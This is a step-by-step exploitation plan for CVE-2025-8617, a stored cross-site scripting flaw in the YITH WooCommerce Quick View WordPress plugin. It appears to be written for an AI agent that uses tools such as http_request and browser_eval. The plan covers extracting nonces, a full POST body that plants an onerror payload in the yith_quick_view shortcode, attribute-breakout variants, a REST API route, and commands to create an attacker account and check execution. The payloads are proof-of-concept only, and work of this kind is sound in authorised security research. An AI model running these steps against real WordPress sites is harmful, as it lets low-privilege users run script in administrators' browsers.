YITH WooCommerce Quick View <= 2.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via yith_quick_view Shortcode

This research plan outlines the technical steps required to analyze and demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the YITH WooCommerce Quick View plugin (CVE-2025-8617).

1. Vulnerability Summary

The YITH WooCommerce Quick View plugin for WordPress is vulnerable to Stored XSS via its yith_quick_view shortcode. In versions up to and including 2.7.0, the plugin fails to properly sanitize or escape attributes provided within the shortcode. An authenticated attacker with Contributor-level permissions or higher can embed a malicious script within a post or page. When other users (including administrators) view that content, the script executes in their browser context.

2. Attack Vector Analysis

• Endpoint: WordPress Post/Page Editor (specifically the content saving/autosave mechanism).
• Vulnerable Component: The yith_quick_view shortcode rendering logic.
• Payload Carrier: Shortcode attributes, specifically the label attribute (inferred as the most likely sink for unescaped text).
• Authentication: Contributor+ (The user must have the edit_posts capability).
• Preconditions: WooCommerce must be active (as the plugin depends on it), and at least one product should exist to make the shortcode functional.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode during the init or wp_loaded hook:
   add_shortcode( 'yith_quick_view', [ $class_instance, 'shortcode_quick_view' ] );
2. Execution: When a post containing [yith_quick_view label="<script>alert(1)</script>"] is viewed, do_shortcode() triggers the callback.
3. Parsing: The callback (likely shortcode_quick_view) uses shortcode_atts() to extract the label and id (product ID) attributes.
4. Sink: The label attribute is concatenated into an HTML string (likely a button or anchor tag) and returned without being passed through esc_html() or esc_attr().
5. Rendering: The unescaped HTML is output to the page, resulting in script execution.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, the agent must save a post containing the payload. This requires a standard WordPress post-editing nonce.

1. Login: Use the agent's credentials to log into /wp-login.php.
2. Navigate: Go to /wp-admin/post-new.php to initialize a new post.
3. Extract Nonce: Use browser_eval to extract the _wpnonce from the page source or the wp-atob localized script variables.
   • Target variable: window.wp?.apiFetch?.nonce or the value of the _wpnonce hidden input field.
   • Example: browser_eval("document.querySelector('#_wpnonce').value")

5. Exploitation Strategy

The goal is to store a payload that triggers a console.log or alert to confirm execution.

Step 1: Create/Update Post with Payload

The agent will simulate a Contributor saving a post.

• Tool: http_request
• Method: POST
• URL: http://[target-ip]/wp-admin/post.php (or admin-ajax.php for autosave)
• Content-Type: application/x-www-form-urlencoded
• Payload (Body):

  action=editpost
  &post_ID=[POST_ID]
  &_wpnonce=[NONCE]
  &post_title=Research+PoC
  &content=[yith_quick_view product_id="[PRODUCT_ID]" label="<img src=x onerror=console.log('CVE-2025-8617-EXPLOITED')>"]
  &publish=Publish
  

  (Note: Contributors might "Submit for Review" instead of Publish, which still stores the content).

Step 2: Trigger Execution

Navigate to the front-end URL of the newly created post.

• Tool: browser_navigate
• URL: http://[target-ip]/?p=[POST_ID]
• Detection: Check the browser console or DOM for the presence of the injected string.

6. Test Data Setup

1. Install Plugin: Ensure yith-woocommerce-quick-view version 2.7.0 is active.
2. WooCommerce Setup: Ensure WooCommerce is active.
3. Create Product: Create a dummy product to provide a valid product_id.
   • Command: wp post create --post_type=product --post_title="Test Product" --post_status=publish
   • Note the ID returned.
4. Create Attacker User:
   • Command: wp user create attacker attacker@example.com --role=contributor --user_pass=password123

7. Expected Results

• The http_request should return a 302 Redirect back to the post editor, indicating a successful save.
• Upon viewing the post, the HTML source should contain:
  <a ... class="yith-wcqv-button" ...><img src=x onerror=console.log('CVE-2025-8617-EXPLOITED')></a>
• The browser console should log the message CVE-2025-8617-EXPLOITED.

8. Verification Steps

After the exploit attempt, verify the database state:

1. Check Post Content:
   wp post get [POST_ID] --field=post_content
   Confirmation: Verify the shortcode with the payload is present.
2. Check Rendered Output:
   Use curl or http_request to fetch the post and grep for the raw payload:
   curl -s "http://[target-ip]/?p=[POST_ID]" | grep "onerror=console.log"

9. Alternative Approaches

• Attribute Breakout: If the label is rendered inside an attribute (e.g., title="..."), try breaking out:
  [yith_quick_view label='"><script>alert(1)</script>']
• Other Attributes: If label is sanitized, investigate other possible attributes like class or product_id (though id is usually passed through absint).
• Block Editor: If the classic editor is not used, test via the Block Editor's REST API endpoint (/wp-json/wp/v2/posts/[ID]) using the POST method and a X-WP-Nonce header.